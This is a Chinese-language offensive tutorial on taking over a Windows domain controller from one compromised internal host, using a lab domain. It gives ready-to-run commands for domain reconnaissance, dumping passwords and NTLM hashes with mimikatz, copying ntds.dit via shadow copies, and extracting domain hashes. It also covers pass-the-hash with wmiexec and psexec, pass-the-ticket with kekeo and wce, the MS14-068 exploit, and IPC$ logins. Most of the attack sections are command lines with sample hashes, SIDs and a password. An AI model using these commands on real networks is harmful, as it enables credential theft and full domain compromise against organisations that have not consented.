内网hash传递
前言:
我们在平常打点的时候,遇到有内网或者有域的环境的时候,我们只获得了内网中的一台机子的shell,由这台机子我们可以获得这台机子所在的网段的相关其他主机。比如说有域的时候的域控机,有多层内网的堡垒机等,下面将介绍如何用已控制的内网机拿到域控的方法。
0x00 环境
假如是一个域环境:
域控: 192.168.106.129 已经控制的内网机: 192.168.106.120
其他假如存在一些其他普通的机子。
0x01 内网信息收集
初步的查看网络信息:
ipconfig /all netstat -ano arp -a
这就可以查看到是否存在内网
查看是否有域:net user /domain(查看所有域用户)
如果有域,那么收集域内主机信息:
net view #查看域中的机器 net view /domain # 查看网络中有哪些域 net view /domain:domainhack # 查看 domainhack 域中的机器
然后通过 ping 机器名
可以获取 ip
查找域控的几种方法:
dsquery server net time /domain ipconfig /all 查看 dns 信息 端口扫描,域控服务器会开放389端口,如果和DNS同服务器,那么也会有53
net group “domain controllers” /domain 得到域控制器主机名
net group “domain admins” /domain 查询域管理用户
0x02 抓取明文&&hash
利用mimikatz抓取登录过的明文,也可获取到ntlm_hash:
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" > pssword.txt
获取ntlm hash
直接获取hash:
mimikatz.exe "privilege::debug" "sekurlsa::ekeys"
获取aes等hash,如果捕获不到ntlm hash,那么就使用这条命令捕获
0x03导出 ntds.dit获取hash
方法一 ntdsutil:
ntdsutil snapshot "List All" quit quit # 列举快照 ntdsutil snapshot "activate instance ntds" create quit quit # 创建快照 ntdsutil snapshot "mount {77e43351-f29c-4bb2-86ad-cc6b7610589d}" # 挂载快照 copy C:\$SNAP_201803152221_VOLUMEC$\windows\NTDS\ntds.dit c:\ntds.dit #复制
ntds.dit
方法二 vssadmin:
vssadmin list shadows # 查询当前系统的快照 vssadmin create shadow /for=c: #创建快照 copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy4\windows\NTDS\ntds.dit c:\ntds.dit # 复制ntds.dit vssadmin delete shadows /for=c: /quiet #删除快照
导出ntds.dit后:
获取 system.hiv:
reg save hklm\system system.hiv
QuarksPwDump.exe
导出 hash:
QuarksPwDump.exe --dump-hash-domain --with-history --ntds-file ntds.dit --system-file system.hiv
0x04 pass-the-hash 攻击
1.mimikatz:
mimikatz.exe
sekurlsa::pth /user:administrator /domain:workgroup /ntlm:31d6cfe0d16ae931b73c59d7e0c089c0
如果是win2008之后只能抓取到aes hash值,那么将上面的ntlm 改成aes
2.wmiexec
下载地址:https://github.com/maaaaz/impacket-examples-windows
wmiexec -hashes AAD3B435B51404EEAAD3B435B51404EE:A812E6C2DEFCB0A7B80868F9F3C88D09 domainhack/Administrator@192.168.106.129 "whoami" domainhack 为域名 Administrator 域用户 192.168.106.129 目标 IP
3.psexec
psexec.exe -hashes AAD3B435B51404EEAAD3B435B51404EE:A812E6C2DEFCB0A7B80868F9F3C88D09 domainhack/Administrator@192.168.106.129 "whoami"
0x05 pass-the-ticket攻击(票据)
mimikatz清除票据:
为了使我们生成的票据起作用,首先我们需要将内存中已有的kerberos票据清除,清除方法使用mimikatz
mimikatz.exe "kerberos::list" "kerberos::purge"
1.wce
要求:
域用户名 ,hash (用前面的方法获取)
本机 administor 权限
用法:
wce -s Administrator:500:AAD3B435B51404EEAAD3B435B51404EE:A812E6C2DEFCB0A7B80868F9F3C88D09
2.keko
下载地址:
https://github.com/gentilkiwi/kekeo
要求:
域用户名 ,hash (用前面的方法获取),域名
用法:
生成票据 kekeo "tgt::ask /user:Administrator /domain:domainhack.com /ntlm:A812E6C2DEFCB0A7B80868F9F3C88D09" 导入票据 kekeo "kerberos::ptt TGT_Administrator@DOMAINHACK.COM_krbtgt~domainhack.com@DOMAINHACK.COM.kirbi"
3.ms14-068.exe
下载地址:
https://github.com/SecWiki/windows-kernel-exploits/blob/master/MS14-068/MS14-068.exe
要求:
域用户名 , 密码
用户sid # whoami /all 获取
用法:
生成 票据 ms14-068.exe -u hacker@domainhack.com -s S-1-5-21-2864277510-2444243591-773573486-1113 -d 192.168.106.129 -p qaz123!@# ms14-068.exe -u 域用户@域名.com -s 用户sid -d 域控ip地址 -p 用户名密码 导入票据 Mimikatz.exe "kerberos::ptc TGT_hacker@domainhack.com.ccache"
导入票据后就相当于有了 域管理员的权限, 直接添加域管理员
写入成功后,使用PsExec.exe以管理员权限运行连接域控
psexec64.exe \\域控主机名 cmd.exe
https://www.cnblogs.com/feizianquan/archive/2019/10/29/11760564.html
0x06 ipc攻击
域控开了ipc共享的话,直接ipc也可以连接登录,如果是xp系统的话用户秘密都不要
net view 192.168.211.130 #查看共享 net use \\192.168.211.130\ipc$ "password" /user:"user" # ipc$ 连接